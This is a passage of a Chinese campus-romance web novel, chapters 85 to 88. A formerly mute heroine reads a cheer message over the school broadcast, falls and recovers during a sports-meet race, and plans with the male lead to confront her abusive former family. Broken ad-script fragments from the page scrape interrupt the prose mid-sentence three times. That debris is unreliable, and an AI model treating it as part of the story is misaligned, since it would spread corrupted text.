第 85 章 胡挚几人等了半天,万苏瑶和秋怡终于挑好衣服,上楼采买运动会的物资。 章子健看见一家书店,提议班内奖励从那里挑选,万苏瑶:“这个好。正好小雪爱看小说,不管最后第几,只要跑下来了,都要发奖。” 她的好意池映雪心领了。 但池映雪看着万苏瑶兴冲冲地塞来一本接一本《恶魔校草》《清冷佛子》《港风大佬》,陷入深深的无奈。 都怪李闻蝉。要不是为了研究某人的校霸人设,她不至于此。 忍了又忍,池映雪放弃解释。 李闻蝉走在人群最后,目光随意瞥过书堆,兴致寥寥。 章子健摸了摸下巴,递给他几本小说:“看看书调节情绪,蝉哥。” 李闻蝉闷应一声。 调节不了。 李闻蝉抬起眸便看见池映雪靠在书柜旁的墙面,仔细阅读书封的文字。碎发安静地垂落在脸颊两边,随呼吸轻轻起伏。 她比一开始见面健康不少,面上透着薄薄一层粉红,从前是几近透明的梨花片儿,现在是饱满的桃子,看着那么软。 实际却倔得很。连哥哥两个字都不肯打给他。 李闻蝉把章子健拿来的试读本胡乱翻阅,满脸黑线。想起池静俭几十分钟前以哥哥身份发来让他照顾好他家小雪的长篇大论,胸中激荡起滔滔不绝的委屈。 看字都犯晕,合上书环视店面,又想起上个周日和池映雪那个叫裴景的朋友见面。 姓裴的说他们初一就认识了,就是在一个书店。 多好,两个爱学习的好宝宝。 池映雪对手里的书都不太感兴趣。上次被老师推荐的散文集倒是很喜欢,她去选了两本同作者的其他作品,放入小筐里。 系统暗示:[宿主,人家看男主大人脸色很臭呢。] 小筐在手里晃了晃:“……喔。” [看来男主大人真的很在乎“哥哥”那个称呼。] 池映雪看出来了。她摇头后都没敢多看他一眼。 李闻蝉那时的表情,就和路边想让她摸一摸却被她避开的小猫一模一样。 池映雪:“………谁要他当哥哥了。” 她叹了口气,徘徊一会,终于还是转到李闻蝉身边,他一直杵在门口。 李闻蝉的黑脸在对视那一瞬间阳光明媚,然后以光速变回沉稳莫测,压着嘴角:“有事?” 池映雪:「你就不逛逛吗?这家书店很不错。」 李闻蝉飞速浏览完一行讯息,默了许多秒,眯着眼道:“有多不错?” 池映雪给他分析:「这家是店主自营,书选品很好,译本也齐全。」 李闻蝉完全没听进去,捏着嗓子道:“是这家书店不错,还是你以前初中门口那家小书店不错?” 池映雪不知道他吃错什么药,但还是耐心回答:「当然是这家,那个只是卖教辅的。」 李闻蝉忽然多云转晴:“不错,那我们一起逛逛吧。” 李闻蝉自然而然地顺走池映雪手里的筐,手指拨来拨去。池映雪后知后觉他是在看那几本小说,连忙制止。 李闻蝉已经看到:“…………你喜欢这种?” 池映雪摇头如拨浪鼓,拨浪还没摇到鼓上,拇指和食指猝不及防地钳住她的下巴:“抬头。” 声音蛊惑:“看着我。” 书店老板审美很好,店里的暖调灯光明艳动人,笼罩李闻蝉逼近的面庞。浓颜在灯下一时变得更炽烈,灼着池映雪的眼球,慢慢与前些天昏暗路灯下的心情重合。 她隐约间觉得心里有什么东西不一样了。像有一道门,随着他红唇张合,一下、一下被叩响。 越来越响。 “不管从前你心里有谁,身边又是谁。” 浓黑色的眼,像摄人心魄的钩锁,令池映雪呼吸都凝滞:“你的以后,只会有我。” 所有敲门声归于一道长长的吱呀,池映雪心里那道门缓缓拉开。 门后的光才亮起一条细缝,被李闻蝉骤然举起的小说扉页挡了个全。 她定睛一看,原来他念的是这本京圈佛子男主的名人名言。 李闻蝉哑着嗓持续输出:“小孩,叫声哥哥,命都给你。” 池映雪:“………………” 李闻蝉念完自己先转开脸干呕了一下,把这本书用两根手指掐起来,整齐完好地摆回去。 回来后还特别认真地对池映雪说:“池小雪同学,你的品味真的,有待提高。” 虽然书不是她找的,但池映雪觉得李闻蝉话里有话。 她品味不好? 她品味好像是不好。 池映雪哼哼唧唧发消息:「所以你看,你当不了恋爱文里的男主。」只能当个无cp。 李闻蝉看完点头赞同:“说得对。” “我就是当不了这玩意儿。”他探入黑卫衣袖子下的手臂,安抚着被肉麻到颤栗的肌肤,“再说当男主有什么好的?我最近读了不少书,不管名著还是小说,我发现那些主角没一个好下场,要不众叛亲离,要不孤独终老。就算标的是爽文,开局也是父母双亡……” 李闻蝉停顿下来。 这点倒是和他挺像的,就连“金手指”他也算有。李闻蝉赶快改口:“反正不管怎么说,我就是不想当。” 池映雪没明白。当主角不好吗? 她这种小小对照组,逆天改命,拼尽全力也不过争一口“不甘沦为主角背景板”的气罢了。 李闻蝉没多解释。刚巧其他人都已经挑完书,他提着两个人的一个筐子去结账。 系统刚一直忍住没打扰二人的氛围,这时才调出任务界面:[叮!“一起上演偶像剧的桥段吧^^”任务完成,更新为:“为他写一篇专属通讯稿”。] [任务提示:运动会快到了,为我们最勇往无前的男主写一篇通讯稿、被当着全校同学的面念出你的心意吧!记住,一定要让对方明确感知到是他的专属喔~] 池映雪随口道:“你们这个任务挺智能的,居然还知道快开运动会了。” 系统浑身的毛都竖起来,对她点了隐身,收好身后还热乎的键盘,擦了把汗。 距离运动会越来越近。一连数日,池映雪都跟着大家在操场上训练。 胡挚教给池映雪跑步前要做好拉伸,并指出她以往那种随便压压腿都是不正确的。 池映雪把腿架在跑道边的栏杆旁,上半身压下去,有点酸痛。 这条腿压完,刚要换另一条,余光见那道熟悉的高挑身影走近,池映雪把不太美观的压腿变为转动脚踝关节。 李闻蝉吹了个口哨,放下她的水杯:“今天还是我陪你练。” 池映雪和他对视一眼,点点头就赶紧转回视线。 正对面的栏杆上架有一块板,里面写着爱国语录,外面的玻璃罩子反光,倒映一高一矮两条影子。 风将倒影里的发丝与衣角吹动。李闻蝉注意到池映雪被拂起的刘海,下意识抬起手要帮她整理。 以前也不是没做过这样的事,唯独这次池映雪躲得非常快。 这阵夕风一直没停。池映雪的手一直按住刘海,睫毛跟着风颤,仍然没看他。 李闻蝉安静地站了几分钟。直到风停。 “……看来还不够。” 什么不够?池映雪回神,和他相望。日色渐沉,李闻蝉的长眸墨色如潭。 李闻蝉笑了笑:“你练得不够,走吧。” 他扯着她走入树荫外的那片夕阳:“去跑步。” 虹文的秋季运动会一年一度,声势浩大,全程拥有知名赞助和网络直播。尤其是开、闭幕式两个时段,被剪下来过点赞量破十万的短视频。 在这种名气的驱动下,学校高层在前几年就将开幕式这天上午做成友好访校日。在规定的数量范围内,学生可以自由邀请亲朋好友来校内参 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 观。 池映雪一大早就在教室等消息。结果应邀前来的许苹安和裴景完全没照约好那样发信息过来,直接敲响五班的后门。 开门的是坐得最近的李闻蝉。 池映雪和许苹安开心地抱在一起,李闻蝉的手还放在门把手上,和裴景淡淡对视。 李闻蝉:“马上就要高考了,高三的好学生不用复习吗?” 裴景:“……” 现在七八个月也能叫“马上”了吗? 这位少爷为何和裴景妈妈喊裴景起床一个德行。 裴景看了一眼前方,社交恐怖分子许苹安已经开始和小雪的新好友万苏瑶进行历史性会晤,几个女孩没朝他们这边看。 裴景对李闻蝉道:“你大可不必对我有敌意。我知道在某种意义上来说,我和你是一样的。” 眼见李闻蝉的视线逐渐走高,愈发睥睨,裴景无奈地叹出一口气:“但你和我不一样。” “嗯。”李闻蝉不假思索地点头。 当然不一样。这个老孩子已经高三了,他还是风华正茂的高二年生。 他有187.1cm,高三生只有180出点头吧,沈星桥也差不多。论亲疏远近,虽然李闻蝉来得最晚,可是他有特殊的能力,身为唯一能不借助通讯工具听见她的人。又虽然破病最近有点失灵了,但李闻蝉也是唯一的。更勿论他还是池映雪在心里叫过一次闻蝉哥哥、名副其实的池家亲人。 裴景一看他就什么都没明白,视线在李闻蝉和池映雪身上打转,摇了摇头,也没打算提醒。 许苹安亲热完想起来一件事,问池映雪:“校门口是不是有你的朋友啊?一个大帅哥,巨帅那种。” 她说完还在这个班级找了一下,未果。 池映雪摇头。为什么这样说? 许苹安:“我和老裴进校的时候被要求出示你的校园卡,但我俩没有。一开始被执勤的学生会拦了,结果旁边路过一个带着红袖章的帅哥,一听我们报你的名字,和其他人讲了几句就亲自带着我们进来了。” “他还送我们到这栋教学楼。”许苹安感慨,“大学校机会多啊,随便抓一个都这么帅,简直是温其如玉。而且我总感觉他有点眼熟,好像在哪里见过。” 万苏瑶:“小雪估计不知道要把学生卡给你们,我忘记说了。” 池映雪确实不知道这个。 但许苹安话里那个人,她有点头绪。 ……那人的确是不会让任何人为难的性格。 恐怕苹安上次来在办公室见过他,只是当时情况危急,情绪也激动,才忘记了。 系统也猜到了:[宿主,沈星桥这人是不是有点变异啊?他为什么一会对你冷言冷语,一会对你热心肠得很?] 池映雪下意识想起初识那会儿的李闻蝉,他对她也有一段那样的时间,但他们两个完全不可以放到一起看待。 李闻蝉永远不会伤害她。 池映雪冷静下来,捋了一遍回忆。沈星桥的确很奇怪,尤其是游泳馆那天。 他说了一大堆有的没的,最后却落脚在让池映雪不要再相信“他那种人”的当。 可那天后的奶茶又是葡萄味。她倾向于是巧合。 池映雪已经很久没想起沈星桥,这一想,眉渐渐蹙起来。许苹安和万苏瑶就选秀综艺展开激烈讨论,裴景也被章子健抓去请教高二升高三复习的经验。 无人注意的右方后排角落,李闻蝉耳边数日不见的清灵声音堂堂归来。 沈星桥balabala。 沈星桥xxxxx。 沈星桥为什么…… 脸越来越黑,越来越黑。 运动会马上开始,吵嚷的教室比以往更甚。 一道刺耳的椅子拉响声打断热烈的谈天说地。 李闻蝉抓起池映雪的手腕,在众目睽睽下将她连人带起,按在桌上。 “他到底有什么好?” 86. 第 86 章 “他到底有什么好?” 情绪有点激动,少年清澈的嗓音压根没收敛。 一语激起千层浪。池映雪被他的手臂禁锢,身下的桌面都好似发烫,忙拽着人出门。 后门啪一声关上,被激起的浪花在整个教室范围内回潮。 胡挚怀疑人生:“不是,什么情况……?” 谁能和他解释下,为什么蝉哥突然像一个被背叛的苦情丈夫?!! 背叛他的那个渣女还是胡挚最崇拜的雪神!!! “他”又是谁?胡挚将怀疑的视线投向章子健身边崭新的小白脸。 好像确实颇有姿色。 裴景:“……你看我干嘛。” 章子健:“别理他,他是笨蛋。” 章子健将周围的吃瓜声听了一二,感慨全班现在估计就胡挚和万苏瑶两个笨蛋。 后门外的阳台,池映雪甩开李闻蝉的手,脸颊红红。 肯定是被李闻蝉气红的。哪有他这样不讲理的人?当着全班人的面,乱讲话! 池映雪还没详细问李闻蝉那话什么意思,什么他不他的,便被他反将一军。 李闻蝉靠在栏杆上,嘴噘起来,两只手抱在胸前,一副很很不高兴的样子:“我不明白,池映雪。” “换位思考是好功能。可你为什么总是只会换位,不懂得站在自己的角度,替你,池映雪,好好思考思考?” “我知道你对沈星桥有不一样的感情。我也承认,你们相遇很早,他对你来说意义非凡。”李闻蝉眼神晦暗,很快眨动一下,又清亮地盯着池映雪,“从这个意义上来说,我甚至感激他。如果他对你很好,我不介意……和他争一争。” 争什么。李闻蝉没说,也许是朋友的地位,实际不是。他目前还有些生气,才不想和这个笨蛋池映雪说明白。 “你不要管他有什么苦衷,就像我和你说过,人都有理由,可你被他伤害到了,这是事实。包括前阵子你说过的应光司。” “应光司可能本性不坏,但他的生活条件是用你的付出换来的。被动承受不代表没错,我不相信这么多年你们的差异他一丁点都察觉不到,只能说也许他没法改变,既对你有愧,又不想放弃自己收获的好处。” 池映雪被他说的一愣。李闻蝉大多时候明耀到直白,却总能和阳光一样细微,无孔不入。 就好像她是一个容器。壁中黑洞洞,连池映雪都看不清里面装的是什么,只有那丝丝缕缕的光线能够射进来,把她说不出口的东西轻轻拿起。 “只要让你伤心就是错。”李闻蝉斩钉截铁。 话也不能完全这么说。这世界并不是围着她转。池映雪下意识回望李闻蝉。 果然,他是当之无愧的“主角”。 池映雪从小就习惯了读空气,看人的眼色少挨一顿打,多吃一点饭。不能开口,也习惯了自己消化,思索别人的情绪已经成为本能。 教室里的人接二连三出去。李闻蝉看了眼护腕之上的手表,开幕式很快开始。 李闻蝉定定看了池映雪两秒,叹了口气:“行,你考虑别人。” 池映雪其实是想慢慢来,没想到李闻蝉会直接这样说,一时有些急。 李闻蝉却更先接道:“你可以善良、换位思考、关怀别人的情绪,但我只会考虑你。” “让你开心的,就是我的朋友;让你伤心的,我就去收拾他们。” 提醒下楼的预备铃响了起来。 池映雪的耳朵像在大钟里面被撞击,一阵一阵地嗡鸣。什么都听得见,也什么都听不见。 “别愣着了。”李闻蝉在她眼前打了个响指,“下楼,一起。” 他的手刚放回兜里,手机响了,李闻蝉又把手连带通话界面抽出来。 打电话的是韩潇。李闻蝉也没有给他学生卡,韩潇被拦在校门不让进。 阳台向左是布置过一番的大操场、宽阔的校园和绿化,以及通往学校正门的长道。 向右有与教室相连的窗户,李闻蝉的倒影停下来等池映雪移动。 池映雪抬起眸,在反光中看见一张素净的脸,眼睛的边缘染着浅红,嘴角居然轻轻上扬。 齐刘海打薄过依然平整,遮盖住额头。刘海留得太久,要不是上次回应家,池映雪几乎都要忘记留厚刘海的初衷。 就是想买公主裙那天,应母抄起手边的木棒随手打过来,正好打到池映雪额角。 当天晚上青了,没有药可以用,自然愈合后在发际线下留下了一道很浅的凹陷。池映雪昨晚还重新检查过,只有很浅很浅一道,但是绝不想让李闻蝉看见。 池映雪动了动脚尖,朝李闻蝉走去。 李闻蝉的手机屏幕还亮着,池映雪拿过来,看见上面的“韩潇”二字,迟疑了一瞬。 最后下定决心:「等我们的项目都比完,可不可以陪我再去应家一趟?」 打完字,池映雪把屏幕按灭了。 黑屏倒映着李闻蝉的眼睛。她总觉得那双眸比手机、玻璃和太阳加起来的反光还要亮。 “我的荣幸。” 直到开幕式结束,韩潇终于忍不住吐槽:“李闻蝉。” “你还能再荡漾一点吗?” 李闻蝉以极其轻快的口吻“嗯”了一声,一看就左耳进右耳出。 手插着兜,鼻腔哼着曲,在一段副歌后的空隙道:“你不懂。” 韩潇:“……” 韩潇把妹多年,没见过他这么没出息的:“不就是主动约你一次吗,看把你乐的,以后出去别说是我哥们。” “这不一样。”李闻蝉深知被允许走进池映雪那条小巷有多难,更别说她邀请他一起去的是应家。李闻蝉并不想把这些事和韩潇分享,及时住了口。 不过半分钟,李闻蝉勾了勾唇:“……反正就是不一样了。” “行行行。”韩潇没眼看,“她能对你不一样,是不是意味着之前那个她真的放下了?” 李闻蝉的上钩唇翻了个面。 他怎么把这茬忘了。 池映雪和关系好的几个女生待在一起,韩潇来之后她就没往这边看过。韩潇没注意到身边好友愈发阴沉的脸色,有些牙酸:“之前和你家小雪聊得挺好的呀,怎么我这次过来,她这么不待见?” 李闻蝉没搭理他。韩潇用自拍模式整理仪容,拽着李闻蝉走向池映雪她们。 他俩刚来,池映雪就跑走了。 韩潇:“…………”不会吧。 这已经不是魅力的问题了。 他风流韩少难道会令女生感到恶心吗? 韩潇急于证明自己的魅力,在几人中锁定最符合他审美的万苏瑶,丢了个媚眼,得到白眼一枚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 韩潇:完了。他真完了。 秋怡看不下去,解释道:“你是李闻蝉的朋友吧?瑶瑶的爱豆前不久刚塌房,她现在看见男人wink就睹物思人、恨海情天。” 韩潇松了一口气,重新找回自信,顺势在女生堆里坐下。 “这普通话…莫非你是HK的?”许苹安突然开口。 韩潇点头,看见几个女生齐刷刷地眼前一亮。 刚要开屏,手里被塞来一本书:“我们上周末才买的小说,时下最火!你快帮忙看看怎么样,这是打算送给小雪的。” “就是就是,可算见到现实版的了!” 韩潇低头一看。特么的港风太子爷。 再定睛:“BB,我好想叼你。” 韩潇:……??? 李闻蝉在一旁加载重启半天,这时才阴雨转多云,稍稍平复。 李闻蝉眼眸微转,看见池映雪用来给别人加油的手写板还放在桌上,在她的椅子上坐下来,擦拭不小心滴在上面的矿泉水:“池映雪不是因为韩潇跑走的吧?” 万苏瑶:“那倒不是,她是真有事。” 李闻蝉心里的疑虑散去,上了眉头:“什么事?” “我也不太清楚……” 万苏瑶忽然结巴起来,目光飘忽,好半天才在李闻蝉威压的眼神下憋出一句,“我只能说,小雪去广播站了,其余你就别问我了。” 广播站? 李闻蝉腾地站起身。指尖点到前几天和穆雨阳的私聊。 穆雨阳:「对。沈星桥就报了这两个项目,他还有广播站和学生会的事情要忙。」 穆雨阳:「好像是那边人手不够,他主动在学生会例会时提出帮忙的吧?要去念通讯稿什么的。」 李闻蝉把手机一丢,刚要往广播站冲,胡挚提着喇叭匆匆赶来:“你去哪?” “哥,去哪都等等,男子三千还有五分钟开始,你还不赶紧去准备啊!” 比什么比? 池映雪都跑了。李闻蝉的鞋尖对准广播站即刻待发。 最后胡挚差点没给他跪了。李闻蝉又看了眼刚从上一个项目赶回来加油的徐静萌和章子健等人,浑浑噩噩地上了跑道。 十一月金秋佳季。该死的广播台正在念千篇一律的无聊通讯稿。 李闻蝉在跑道的白线前转动手腕和脚踝,面如死灰。 好吵。 特别吵。 尤其那个广播员,不知道哪个陌生的男的正在读三千米的加油稿,念得干巴巴的,不好听。 为什么沈星桥没念?他人呢?她人呢?李闻蝉不敢细想,回头瞥了一眼广播台那栋小楼,恨没有一双火眼金睛。 距离三千米比赛开始最后30秒,赛场已经渲染开紧张的氛围,逐渐安静。 广播声在此刻变得更加清明:“接下来这篇稿件是——” 李闻蝉心不在焉地将一条腿后撤半步,耷拉着眼皮。 “是———” 话筒经由操场四处的扩音器传出,不知那边经历了什么,拉响一阵长长的,略有些尖锐的拖音。 停顿间隔仅有几秒钟,令一万个人里九千九百九十九人都陌生的女孩子的气音通过音响,传遍操场每个角落。 “是高二(五)班池映雪,写给高二(五)班李闻蝉的加油稿。” 87. 第 87 章 [叮!攻略对象好感+2。] [当前男主好感:92。] 池映雪念完稿件,从广播室跑出。 为了借麦,池映雪找的是广播台台长孟心词。 孟心词正在门口等待,满脸震惊:“你居然真的能说话了,还这么流畅!” 虽然是气音,和悄悄话似的,但还是和奇迹没两样了。 孟心词刚才临时搜了一下百科,好奇道:“所以你原本只有听障,不能说话是因为听不见影响的?” 差不多。池映雪记得她有记忆开始就听不见,好像是因为刚出生时发了烧,应家让她自生自灭,从那以后先天的听力损伤就变为彻底失聪。 至于说话,一开始比现在差一点,但发出些咿咿呀呀不是问题。 五岁那年,仅有的模糊记忆中,池映雪到主城区玩耍,被应光司缠着一起去。回家后应父发现了这件事,罚她睡在地板。池映雪因此再次发烧,醒来后嗓子就坏了。 孟心词还有这边的统筹要忙,池映雪和她告别,朝操场跑去。 幸亏三千米圈数多,不然就赶不上了。 系统点头:[是啊,幸亏三千米圈数多。] [不然男主大人就输在起跑线了。] 池映雪:“?” 系统把比赛开始时的截图调出来:[宿主开口后,裁判正好打枪,男主大人就和没听见一样,还呆在原地,啧啧啧。] [要不是虎子同学一声惊呼,他怕是要变成一块望妻石,站到天荒地老。] 池映雪赧然。 正好跑下楼,她瞥了眼截图。别的看不出,只能看见一种肤色里,那个醒目的冷白皮从脸到耳,甚至脖子和关节都浸着红。 楼道口迎面过来两个人,池映雪没注意看,接着匆匆抬脚。 一班的体育委员玩着哨,稀罕道:“这不是五班那个池映雪吗?她脸好红啊。” “说来好神奇——她刚才是说话了吧?” 沈星桥收回目光,低头整理手里的文件:“嗯。” 睫毛很快闪动一下,“可以拜托你一件事吗?” “你说。”体委拍拍他,“客气啥,上次你还帮我了。” 沈星桥:“下午我有点事,没法念女子三千米组的通讯稿,广播台人员不够。” 体委应了下来,随口问:“你有啥事?下午也没你项目啊。” 沈星桥笑了笑,没说话,直到快走回广播室,小声道:“用我的声音加油,也许会让人扫兴。” 跑道两侧人声鼎沸。 池映雪刚好赶上最后半圈,视野中李闻蝉遥遥领先。所有视线和闪光灯都聚焦在他身上,身后是秋日的万丈光芒。 池映雪接过万苏瑶帮她拿来的应援牌,两手举高,淹没在愈发沸腾的人群里。 毫无悬念,他是第一。 池映雪跟着大家笑起来,混入千万目光中看李闻蝉,被他精准地捕捉到。 李闻蝉拨开前来恭贺的人群,随手接过胡挚递上来的水和毛巾。 额前黑发细碎潮湿,头轻甩两下,一滴清水从微微泛红的鼻梁滑落,正好挂在鼻尖。再往下的薄唇很红。李闻蝉边走边擦汗,擦干了才来到池映雪面前。 金色的光洒在他肩上,呼吸还没缓下来。 李闻蝉嘴唇右边笑出深深的梨涡:“没有辜负你的加油吧?” 池映雪摇头。李闻蝉弯着眼和唇凝了她一会,转过脸喉结滚动,仰颌将冰水拧开,咕咚咕咚灌了好几口。 韩潇今天不是白来的,他有任务在身。这时眼看差不多,揣着拍立得过来。 李闻蝉接收到韩潇的眼神,朝池映雪挑眉:“拍张照?” 他站近一步。 清爽的空气瞬间充满男生身上干净的太阳香。池映雪眸光倾斜,在黑T下隐隐窥见线条漂亮的薄肌。 韩潇已经叉开腿就位。池映雪眼疾手快地捋好头发,确认一眼胡挚在忙,抿起唇看镜头。 系统:[宿主,任务任务!比心!!] 韩潇和它心有灵犀:“你俩别光站着啊,比个pose!” 食指的指甲磨了磨大拇指的边缘。 池映雪屏住呼吸,把手举成一个稍微变形的“C”。 李闻蝉立马注意到,心跳停了一瞬,大脑里那根筋还没搭过来,韩潇嚷嚷:“这个好!我知道,你们要那个脸颊比心对吧?快快快!” 池映雪被提醒,手在身前的空气中摇曳一下,赶快拿到脸边。 李闻蝉垂下睫。 他就说。 女子三千米的比赛在下午。 因为准备很久,池映雪本来心态还好,大不了就学瑶瑶。上午李闻蝉把金牌领回来顺手往她脖上一挂,却立马升起紧张感。 池映雪决定做点什么转移注意力,正好今天刚完成两个任务,她问道:“运动会有什么剧情吗?” 系统:[有是有……宿主确定要看?] 池映雪看完才知道系统的犹疑是为什么。 在那条世界线,池映雪的名声在期中考后已经降入谷底。 小偷。作弊。觊觎“妹妹”的“cp”……同学们几乎见了她就躲远。池映雪在运动会里被安排无人愿意报名的三千米,没有人来给她加油。 她那段时间吃得不好,睡得也不好,特别消瘦,最后没能跑完全程。还来不及休息,一班的体委找过来,劝她帮忙替跑女子接力的第二棒。那个女生突然生理期到了。 说是帮忙。体委说完就把手机收起来,没有给人拒绝的机会。池映雪稀里糊涂上了跑道,直到交接时才看清下一棒是池鲤鲤。 不知道是谁出了差错,也可能只是阴差阳错,很戏剧地,她们一起摔倒了。 一班观战的拉拉队全部围到池鲤鲤身边。池映雪从地上爬起来,整个膝盖都泛起红,在人群里看见匆匆赶来的沈星桥。 他们对视一眼。 沈星桥收回眼,抱起池鲤鲤奔向医务室。 池映雪越来越发现被规定的剧情有种强制力,不管哪个世界,她都会在安排好的时刻遇到安排好的人。即使知道剧情后已经尽力避开,还是会以另一种形式出现。 池映雪:“系统,你猜这次我会不会摔倒?” 系统沉默。 池映雪趴在阳台朝操场看,和正好往教学楼走的李闻蝉遥相对视。 如果不,是不是意味着一切都是可以改变的? 池映雪伸出手,在空中握紧成拳。 李闻蝉远远朝她笑,也抬起拳,久违地隔空相击。 “我不想再摔倒。” 一直安静的系统突然冒出来:[小雪…宿主。] 这还是它第一次叫她名字。 池映雪惊讶地看向毛团。系统似乎越来越黑了,记得刚见面还是白白软软的。 [你的两个新任务来了。]系统正式道,[一,下午的比赛不摔跤;二,跑完全程,奖励还是200字。] 池映雪眼瞪得更圆:“这是任务?” 这和攻略男主有什么关系吗? 系统没好气地哼了哼,白了她一眼。见池映雪还是怀疑,系 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 统狡辩:[那,那你做好自己的事不也是在吸引男主嘛?反正任务就是这样,你爱做不做。] 池映雪勉强接受这个解释,乍然瞥见系统身后没藏好的键盘,眯起眼睛。 下午的比赛现场。 多云天气,天气预报可能有降水。阴霾的云层笼罩,在热身区看见池鲤鲤的那一刻,池映雪心中一沉。 系统:[…池鲤鲤居然也报名了三千米,怎么会这样?] 系统往池鲤鲤那边奇怪地瞥了好几眼:[咦,宿主你有没有发现池鲤鲤剪刘海了?] 不仅剪了,它看着还和宿主的齐刘海……有点像。 头发扎成低马尾,眉毛也修弯了。 池映雪在池鲤鲤身后看见前来观战的秦书,淡淡地错开眸,李闻蝉像巧克力广告拍的那样丝滑滑入视线。 “一会我陪你跑。” 池映雪没戴助听器,李闻蝉俯在她耳边说话,拍了拍那个小脑袋。 他胸前金牌耀目,“别有压力,按训练那样就没问题。你的万苏瑶等好朋友们全都跑不下来,会在终点等你。” 可李闻蝉上午才跑过三千呀。 下午再三千,池映雪打量他一眼。李闻蝉冷哼,指关节敲上池映雪的脸,还挺Q弹。 原谅她了。 三千米是考验毅力的时刻。开跑后池映雪再次认识到人和人之间的差距——比如,第二圈跑完,李闻蝉气都不喘;池映雪已经吭哧吭哧起来。 池鲤鲤的耐力也不怎么样,两个人距离不大。跑到一个弯道,距离越来越近。 池映雪想着剧情,咬紧牙,加速远离她。 但池鲤鲤似乎也是这么想的。她也加了速。 两个人还是撞在了一起。 双双摔倒,系统都不敢看。周围响起惊呼。 秦书一直追随着两道身影,见状更是从观战区站起。 家长不能下去,秦书拉住旁边来打招呼的沈星桥:“星桥你快去帮忙看看!这要是摔坏了怎么办?” 沈星桥比她的话语更快一步动身,离开坐席区,在出口遇见沈母:“星桥。” “扶鲤鲤就可以了。”沈母道,“你要做出正确的选择。” 赛场外的事,池映雪一概无暇顾及。 倒下的那一刻,她唯一想到,又失败了。 李闻蝉说,一次遇不到就第二次;可池映雪一次努力改变命运不成,这是第几个第二次? 金牌好远。 他也好远。 池映雪抬起眸,不敢看陪跑的那个方向,却能感觉到那道视线。 李闻蝉在看她。 又是这样。他又在看她。 池映雪的膝盖擦出红丝,与地面贴紧。 咫尺距离,以为会伸过来的那只手却始终没出现。 …………又是这样。 池映雪将脏手在裤子上擦了擦,揉着酸涩的眼睛。上一次,也是在操场的绿茵里,她找胡挚报名三千米,李闻蝉就这样干看着。 但那次,池映雪最后自己做成了。 一阵秋风吹过,带来周围的议论声,好像有什么人从远处靠近后引起注意。 池映雪没听那些声音。手从眼边垂下,吸了吸鼻子,用力按着地面站起来。 [叮!攻略对象好感+3。] [当前男主好感:95。] 池映雪的心脏因为猛然运动揪紧一瞬,终于撞入李闻蝉的眼。 欣慰的。 明亮的、炽热的、关切的、心疼的——饱含自豪和为她开心的,眼。 88. 第 88 章 身体随着重新起跑变得轻盈。到终点的时候,灰蒙蒙的云层居然散去。 云后一条条光线涌出来,宛如打败数据推演的奇迹。 池映雪被万苏瑶眼泪汪汪地搂住,仰起脸,沐浴在光芒之中。结果还没放空多久就被李闻蝉腾空抱去上药。 因为出了太阳所以很热。 池映雪把一张红脸闷在他怀里,难得呆若木鸡,视线随不断忙前忙后的李闻蝉移动或滞留。 池映雪必须承认,即使在站起来那一刻明白了李闻蝉的想法,还是有点不开心。 但现在那点不开心也没有了。池映雪被李闻蝉递过来一口温水,皱起眉。 凝着池映雪又喝几小口,李闻蝉拿开杯子,蹲在她面前拆棉签:“加了点盐。” 李闻蝉长得凶,气质锋锐,五官又漂亮精致,不像懂得照料人的性子。 池映雪见他拆包棉签都笨手笨脚,结果真上起药来还挺轻柔,一会点点点,一会打圈,根本不疼。 那双浓眉皱太紧,池映雪被他逗笑了,伸手去抚平。 画圈的棉签棒停滞一瞬,李闻蝉抬起睫毛深深地望池映雪。 池映雪连忙收手,挪开眼睛。她在桌面上看见自己的手机,和找到救星般拿来打字:「我们今天下午去七中那边吧?」 李闻蝉不赞同:“你的腿。” 池映雪觉得没事。二人僵持一会,李闻蝉败下阵:“那你要保证没事,从现在开始每隔20分钟我检查一遍。” 池映雪:「哦……」 池映雪顿了顿:「其实我今天回去,是想给自己讨个公道。」 「你说的没错,我不可以因为体谅别人,忽略自己的感受。而且他们对我比我记住的更过分。」 池映雪小时候和应光司关系蛮好,记忆里小应光司就是个跟屁虫,整天黏着她叫姐姐。 说不清是从什么时候开始,也许就是他缠着她进城玩那天。池映雪回家后挨打、被罚睡地板,之后又发高烧,醒来后还被安排哄吵闹的应光司睡觉。 她在小吃店起早贪黑,应光司在空调房打游戏,池映雪心想关系能好才怪了呢。 池映雪不打算和李闻蝉诉苦,只是说,「我知道比起应光司,我以前的爸爸妈妈才是问题最大的,我要去找他们,但是……」 李闻蝉有所预感,挑了下眉,沉重的心情豁然开朗:“但是?” 池映雪第一次这样,打字扭扭捏捏的。 「你可不可以帮帮我,我一个人恐怕没那么容易。」 李闻蝉本就半跪在池映雪面前的地上,这下手撑脑袋,趴在旁边椅子上笑吟吟。 “可以嘛池映雪。”李闻蝉打趣,“知道团结力量大了。” 池映雪本来还有点不好意思,他曲解成团结,她反而放宽心:「那你帮不帮嘛。」 “帮帮帮。”李闻蝉坐直正色道。 二人对视,不知道谁先笑出来。池映雪被李闻蝉的梨涡晃了晃眼,听他突然来了句:“你有没有发现你变了?” 池映雪的笑戛然停在嘴边。李闻蝉还勾着唇,眸色却十分认真。 变什么了? 苹安说她有气质了;瑶瑶说她越来越漂亮;爷爷前两天也说,她腰杆挺得更直。 李闻蝉:“保密。” 池映雪愤愤地锤了一下李闻蝉的手臂。李闻蝉一点痛都没感觉到,反而有些痒。 他站起身,自然地拿走她快被喝光的保温杯:“反正不是变漂亮。” 池映雪瞪他。 好吧。池映雪不得不承认她现在要多狼狈有多狼狈。刚摔倒爬起来就跑步,整个人都黏糊糊的,头发散乱,估计刘海都一缕缕的了,她已经没力气再想这些。 李闻蝉的背影慢悠悠:“一直都漂亮啊。” 一天的项目结束,池映雪坐上李闻蝉的车。 黑色机车贴有与气质很不匹配的小贴纸,池映雪摸了摸,李闻蝉收起手机:“我已经联系了谢恩雅,那片区的地头蛇得给她个面子,一会咱们就去晃一圈,坐等应家那两个老东西把这么多年吞你的奖学金还回来。” 池映雪戴着头盔点脑袋。 就是麻烦谢同学了。 